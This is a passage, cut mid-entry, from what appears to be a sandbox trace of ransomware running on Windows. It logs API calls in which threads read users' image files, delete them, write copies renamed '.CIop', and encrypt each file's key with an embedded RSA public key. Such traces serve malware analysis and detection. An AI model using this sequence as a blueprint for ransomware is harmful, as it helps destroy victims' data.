dwCertEncodingType=0x1, pInfo=0x5c0b50, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x6492f8) returned 1 [0097.169] CryptEncrypt (in: hKey=0x6492f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0097.169] CryptEncrypt (in: hKey=0x6492f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6555f8*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6555f8*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0097.169] WriteFile (in: hFile=0x510, lpBuffer=0x6555f8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x6555f8*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0097.169] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.170] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.170] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.170] CloseHandle (hObject=0x510) returned 1 [0097.171] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\qp-3yc7d3frgiw.jpg")) returned 0 Thread: id = 131 os_tid = 0xc9c [0097.203] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.203] lstrcpyW (in: lpString1=0x2fef368, lpString2="vxT7Wz-UZ XFfNDp.png" | out: lpString1="vxT7Wz-UZ XFfNDp.png") returned="vxT7Wz-UZ XFfNDp.png" [0097.203] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.203] SetErrorMode (uMode=0x1) returned 0x1 [0097.203] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png") returned 55 [0097.203] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png", dwFileAttributes=0x20) returned 1 [0097.203] StrStrW (lpFirst="vxT7Wz-UZ XFfNDp.png", lpSrch=".CIop") returned 0x0 [0097.203] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png.CIop") returned 60 [0097.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\vxt7wz-uz xffndp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0097.205] ReadFile (in: hFile=0x510, lpBuffer=0x656668, nNumberOfBytesToRead=0x16cce, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x2fee5e8*=0x16cce, lpOverlapped=0x0) returned 1 [0097.205] CloseHandle (hObject=0x510) returned 1 [0097.205] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\vxt7wz-uz xffndp.png")) returned 1 [0097.207] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0097.207] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0097.207] SetErrorMode (uMode=0x1) returned 0x1 [0097.207] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x6553d8) returned 1 [0097.210] CryptGenKey (in: hProv=0x6553d8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x6494f8) returned 1 [0097.231] CryptExportKey (in: hKey=0x6494f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.231] CryptExportKey (in: hKey=0x6494f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.231] CryptDestroyKey (hKey=0x6494f8) returned 1 [0097.231] CryptReleaseContext (hProv=0x6553d8, dwFlags=0x0) returned 1 [0097.231] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\vxt7wz-uz xffndp.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0097.232] WriteFile (in: hFile=0x520, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x16cce, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x2fee5d8*=0x16cce, lpOverlapped=0x0) returned 1 [0097.233] SetFilePointer (in: hFile=0x520, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16cce [0097.233] WriteFile (in: hFile=0x520, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0097.234] SetFilePointer (in: hFile=0x520, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16cd5 [0097.234] SetErrorMode (uMode=0x1) returned 0x1 [0097.234] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0097.234] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0097.234] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0097.234] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x654be0) returned 1 [0097.234] CryptImportPublicKeyInfoEx (in: hCryptProv=0x654be0, dwCertEncodingType=0x1, pInfo=0x5c0c20, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x649238) returned 1 [0097.234] CryptEncrypt (in: hKey=0x649238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0097.234] CryptEncrypt (in: hKey=0x649238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655680*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655680*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0097.234] WriteFile (in: hFile=0x520, lpBuffer=0x655680*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x655680*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0097.234] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.235] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.235] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.235] CloseHandle (hObject=0x520) returned 1 [0097.237] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\vxT7Wz-UZ XFfNDp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\vxt7wz-uz xffndp.png")) returned 0 Thread: id = 132 os_tid = 0xc94 [0097.239] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.239] lstrcpyW (in: lpString1=0x314f368, lpString2="4LAv.png" | out: lpString1="4LAv.png") returned="4LAv.png" [0097.239] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.239] SetErrorMode (uMode=0x1) returned 0x1 [0097.239] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png") returned 52 [0097.239] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png", dwFileAttributes=0x20) returned 1 [0097.240] StrStrW (lpFirst="4LAv.png", lpSrch=".CIop") returned 0x0 [0097.240] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png.CIop") returned 57 [0097.240] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\4lav.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0097.241] ReadFile (in: hFile=0x518, lpBuffer=0x656668, nNumberOfBytesToRead=0x12082, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x314e5e8*=0x12082, lpOverlapped=0x0) returned 1 [0097.242] CloseHandle (hObject=0x518) returned 1 [0097.242] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\4lav.png")) returned 1 [0097.244] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0097.245] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0097.245] SetErrorMode (uMode=0x1) returned 0x1 [0097.245] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x6553d8) returned 1 [0097.248] CryptGenKey (in: hProv=0x6553d8, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x649338) returned 1 [0097.318] CryptExportKey (in: hKey=0x649338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0097.318] CryptExportKey (in: hKey=0x649338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x314e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0097.318] CryptDestroyKey (hKey=0x649338) returned 1 [0097.318] CryptReleaseContext (hProv=0x6553d8, dwFlags=0x0) returned 1 [0097.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\4lav.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524 [0097.320] WriteFile (in: hFile=0x524, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x12082, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x314e5d8*=0x12082, lpOverlapped=0x0) returned 1 [0097.321] SetFilePointer (in: hFile=0x524, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12082 [0097.321] WriteFile (in: hFile=0x524, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0097.321] SetFilePointer (in: hFile=0x524, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12089 [0097.321] SetErrorMode (uMode=0x1) returned 0x1 [0097.321] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0097.321] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0097.321] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0097.321] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x6549c0) returned 1 [0097.322] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6549c0, dwCertEncodingType=0x1, pInfo=0x5c0cf0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x648f78) returned 1 [0097.322] CryptEncrypt (in: hKey=0x648f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0097.322] CryptEncrypt (in: hKey=0x648f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654690*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654690*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0097.322] WriteFile (in: hFile=0x524, lpBuffer=0x654690*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x654690*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0097.322] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.323] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.323] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.323] CloseHandle (hObject=0x524) returned 1 [0097.324] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\4LAv.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\4lav.png")) returned 0 Thread: id = 133 os_tid = 0xca4 [0097.310] lstrcpyA (in: lpString1=0x300e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.310] lstrcpyW (in: lpString1=0x300f368, lpString2="aClNMcka4 SH9Md3Hwo.png" | out: lpString1="aClNMcka4 SH9Md3Hwo.png") returned="aClNMcka4 SH9Md3Hwo.png" [0097.310] lstrcpyW (in: lpString1=0x300f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.310] SetErrorMode (uMode=0x1) returned 0x1 [0097.310] wsprintfW (in: param_1=0x300eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png") returned 67 [0097.310] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png", dwFileAttributes=0x20) returned 1 [0097.310] StrStrW (lpFirst="aClNMcka4 SH9Md3Hwo.png", lpSrch=".CIop") returned 0x0 [0097.310] wsprintfW (in: param_1=0x300e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png.CIop") returned 72 [0097.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\aclnmcka4 sh9md3hwo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524 [0097.311] ReadFile (in: hFile=0x524, lpBuffer=0x6686f8, nNumberOfBytesToRead=0x11787, lpNumberOfBytesRead=0x300e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6686f8*, lpNumberOfBytesRead=0x300e5e8*=0x11787, lpOverlapped=0x0) returned 1 [0097.312] CloseHandle (hObject=0x524) returned 1 [0097.312] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\aclnmcka4 sh9md3hwo.png")) returned 1 [0097.325] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0097.327] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0097.327] SetErrorMode (uMode=0x1) returned 0x1 [0097.327] CryptAcquireContextW (in: phProv=0x300e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x300e5b8*=0x654e88) returned 1 [0097.329] CryptGenKey (in: hProv=0x654e88, Algid=0x1, dwFlags=0x4000, phKey=0x300e5bc | out: phKey=0x300e5bc*=0x648e38) returned 1 [0097.370] CryptExportKey (in: hKey=0x648e38, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x300e5ec | out: pbData=0x0*, pdwDataLen=0x300e5ec*=0x94) returned 1 [0097.370] CryptExportKey (in: hKey=0x648e38, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x300e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x300e5ec*=0x94) returned 1 [0097.370] CryptDestroyKey (hKey=0x648e38) returned 1 [0097.370] CryptReleaseContext (hProv=0x654e88, dwFlags=0x0) returned 1 [0097.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\aclnmcka4 sh9md3hwo.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x51c [0097.370] WriteFile (in: hFile=0x51c, lpBuffer=0x6686f8*, nNumberOfBytesToWrite=0x11787, lpNumberOfBytesWritten=0x300e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6686f8*, lpNumberOfBytesWritten=0x300e5d8*=0x11787, lpOverlapped=0x0) returned 1 [0097.372] SetFilePointer (in: hFile=0x51c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11787 [0097.372] WriteFile (in: hFile=0x51c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x300e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x300e5d8*=0x7, lpOverlapped=0x0) returned 1 [0097.372] SetFilePointer (in: hFile=0x51c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1178e [0097.372] SetErrorMode (uMode=0x1) returned 0x1 [0097.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm 